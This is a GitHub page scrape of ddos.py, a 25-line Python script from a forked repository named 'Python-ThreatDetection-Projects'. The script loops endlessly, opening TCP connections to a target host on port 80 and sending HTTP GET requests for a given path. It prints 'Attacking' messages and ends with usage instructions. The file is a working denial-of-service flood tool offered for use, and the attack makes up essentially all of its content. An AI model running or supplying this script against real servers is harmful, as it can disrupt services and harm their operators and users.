forked from selfieblue/Python-ThreatDetection-Projects
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathddos.py
More file actions
25 lines (19 loc) · 621 Bytes
/
Copy pathddos.py
File metadata and controls
25 lines (19 loc) · 621 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import socket, sys, os
print("][ Attacking " + sys.argv[1] + " ... ][")
print("injecting " + sys.argv[2])
def attack():
#pid = os.fork()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], 80))
print(">> GET /" + sys.argv[2] + " HTTP/1.1")
message = "GET /" + sys.argv[2] + " HTTP/1.1\r\n"
sendmessage = bytes(message, encoding='UTF-8')
s.send(sendmessage)
message = "Host: " + sys.argv[1] + "\r\n\r\n"
sendmessage = bytes(message, encoding='UTF-8')
s.send(sendmessage)
s.close()
while True:
attack()
# How to use
# python3 ddos.py <ip_or_hostname> index.html